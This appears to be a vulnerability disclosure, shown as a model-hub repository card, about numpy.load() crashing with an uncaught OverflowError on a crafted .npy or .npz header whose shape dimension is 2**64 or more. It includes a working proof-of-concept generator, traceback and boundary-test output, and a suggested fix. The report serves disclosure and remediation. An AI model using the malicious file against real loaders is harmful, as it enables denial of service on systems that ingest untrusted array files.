You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

np.load() on a .npy/.npz with a header shape dimension β‰₯ 2**64 raises an uncaught OverflowError β€” exception-contract DoS

Summary

numpy.load() on a malicious .npy (or .npz member) whose header shape tuple contains a Python integer too large to fit a C long (β‰₯ 2**64) raises an OverflowError: Python int too large to convert to C long. This exception is not part of np.load's documented Raises contract (OSError, UnpicklingError, ValueError, EOFError) and is not a subclass of any of them. Any caller written defensively to that contract (except (OSError, ValueError, EOFError)) fails to catch it and crashes β€” a denial-of-service in loaders that ingest untrusted array files.

The bug fires with allow_pickle=False (the default, "safe" mode), before any allocation branch, so it affects both raw .npy files and .npz archive members.

  • Target: numpy (numpy/lib/_format_impl.py)
  • Verified versions: numpy 2.5.1 (venv, Python 3.13.12) and numpy 2.3.5 (system) β€” both reproduce.
  • Attack vector: attacker-controlled .npy/.npz header (model file / array file ingestion).
  • Impact: unhandled-exception denial of service / broken exception contract.
  • Preconditions: none beyond the victim calling np.load() on an attacker-supplied file. Default allow_pickle=False is sufficient.

Root cause

np.load() -> format.read_array(). The element count is computed directly from the attacker-controlled header shape tuple:

# numpy/lib/_format_impl.py  (read_array, ~line 823-827)
    shape, fortran_order, dtype = _read_array_header(
            fp, version, max_header_size=max_header_size)
    if len(shape) == 0:
        count = 1
    else:
        count = numpy.multiply.reduce(shape, dtype=numpy.int64)   # <-- line 827

shape comes straight from the header dict. The header validator only checks that each element is a Python int β€” it never bounds the magnitude:

# numpy/lib/_format_impl.py  (_read_array_header, ~line 685-689)
    # Sanity-check the values.
    if (not isinstance(d['shape'], tuple) or
            not all(isinstance(x, int) for x in d['shape'])):   # <-- magnitude NOT checked
        msg = "shape is not valid: {!r}"
        raise ValueError(msg.format(d['shape']))

When a shape dimension is a Python int β‰₯ 2**64, converting the shape tuple to an int64 array inside numpy.multiply.reduce(..., dtype=numpy.int64) raises OverflowError β€” which propagates uncaught out of np.load.

Why this is a genuine contract gap (not just an unavoidable resource error)

numpy handles the adjacent magnitude ranges correctly and in-contract; only values β‰₯ 2**64 escape:

shape value result in np.load contract?
2**63 - 1 MemoryError (8.00 EiB alloc) n/a (resource)
2**63 ValueError: negative dimensions are not allowed yes (correct)
2**63 + 1 ValueError: negative dimensions are not allowed yes (correct)
2**64 - 1 ValueError: negative dimensions are not allowed yes (correct)
2**64 OverflowError: Python int too large to convert to C long NO β€” BUG
2**64 + 1 OverflowError: Python int too large to convert to C long NO β€” BUG

Values in [2**63, 2**64) wrap to a negative int64 and produce the in-contract ValueError('negative dimensions are not allowed'). Only values β‰₯ 2**64 overflow the int64 conversion itself and leak an OverflowError. This demonstrates a real translation gap in the validation path rather than an unavoidable out-of-resources condition.

Proof of concept

poc_gen.py builds a 128-byte NPY v1.0 file whose header is {'descr': '|u1', 'fortran_order': False, 'shape': (18446744073709551616,)} (18446744073709551616 == 2**64), then calls np.load().

import numpy as np, struct

magic = b'\x93NUMPY\x01\x00'
h = "{'descr': '|u1', 'fortran_order': False, 'shape': (18446744073709551616,), }"
total = len(magic) + 2 + len(h) + 1
pad = (64 - total % 64) % 64
hb = (h + ' ' * pad + '\n').encode('latin1')
with open('poc_overflow.npy', 'wb') as f:
    f.write(magic + struct.pack('<H', len(hb)) + hb)   # 128 bytes total

np.load('poc_overflow.npy')          # allow_pickle=False (default)
# -> OverflowError: Python int too large to convert to C long  (uncaught)

The identical header inside a zip member reproduces via np.load(npz)['x'] (.npz path), since .npz members are read through the same read_array.

Captured evidence (verbatim)

Reproduced end-to-end with verify.py (included). The DOC contract used for the in-contract column is (OSError, ValueError, EOFError, UnpicklingError).

$ ./venv/bin/python verify.py        # numpy 2.5.1, py 3.13.12
Traceback (most recent call last):
  File ".../verify.py", line 29, in <module>
    np.load(fn)
    ~~~~~~~^^^^
  File ".../numpy/lib/_npyio_impl.py", line 483, in load
    return format.read_array(fid, allow_pickle=allow_pickle,
                             pickle_kwargs=pickle_kwargs,
                             max_header_size=max_header_size)
  File ".../numpy/lib/_format_impl.py", line 827, in read_array
    count = numpy.multiply.reduce(shape, dtype=numpy.int64)
OverflowError: Python int too large to convert to C long
numpy 2.5.1 py 3.13.12
=== boundary of shape value ===
  2**63-1: MemoryError: Unable to allocate 8.00 EiB for an array with shape (92 in-contract=False
  2**63: ValueError: negative dimensions are not allowed in-contract=True
  2**63+1: ValueError: negative dimensions are not allowed in-contract=True
  2**64-1: ValueError: negative dimensions are not allowed in-contract=True
  2**64: OverflowError: Python int too large to convert to C long in-contract=False
  2**64+1: OverflowError: Python int too large to convert to C long in-contract=False
=== real np.load on-disk .npy (POC) ===
poc file size: 128 bytes
EXC TYPE: builtins.OverflowError in-contract= False
=== negative control ===
ctrl load: [0 1 2 3 4]
ctrl big-but-valid shape: MemoryError Unable to allocate 931. GiB for an array with shap in-contract= False

Negative controls (same harness, adjacent inputs)

  • shape=(2**63,), (2**63+1,), (2**64-1,) β†’ ValueError: negative dimensions are not allowed β€” in-contract, correctly translated.
  • A normal np.save / np.load round-trip loads fine ([0 1 2 3 4]).
  • shape=(1e12,) (fits int64) β†’ MemoryError (resource), not OverflowError.

Only shape β‰₯ 2**64 escapes the documented contract.

Second-version confirmation (system numpy 2.3.5)

numpy 2.3.5
  -> OverflowError: Python int too large to convert to C long | in-contract= False

Suggested fix

In _read_array_header, after the isinstance(x, int) check, bound each shape element to a non-negative value representable as int64 (i.e. 0 <= x < 2**63), raising ValueError on violation β€” matching the existing in-contract ValueError('negative dimensions are not allowed') handling. Alternatively, wrap the numpy.multiply.reduce(..., dtype=numpy.int64) in read_array and re-raise OverflowError as ValueError.

Dedup / prior-work note

Distinct from other numpy .npy/.npz header issues:

  • The historical "big header" complexity issue (huntr) concerns header size, not shape magnitude.
  • A separate _read_array_header TokenError (malformed header literal) issue is a different exception class from a different parse stage.
  • A separate .npz BadZipFile contract issue concerns the zip container, not the array header.

This report concerns specifically the shape dimension magnitude β‰₯ 2**64 overflowing the int64 element-count reduction in read_array, leaking an OverflowError outside np.load's documented Raises set. No CVE is known for this specific code path at the time of writing.

Files

  • README.md β€” this writeup
  • poc_gen.py β€” builds the 128-byte malicious .npy
  • verify.py β€” full harness: POC + boundary sweep + negative controls
  • poc_overflow.npy β€” the 128-byte malicious NPY v1.0 file
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support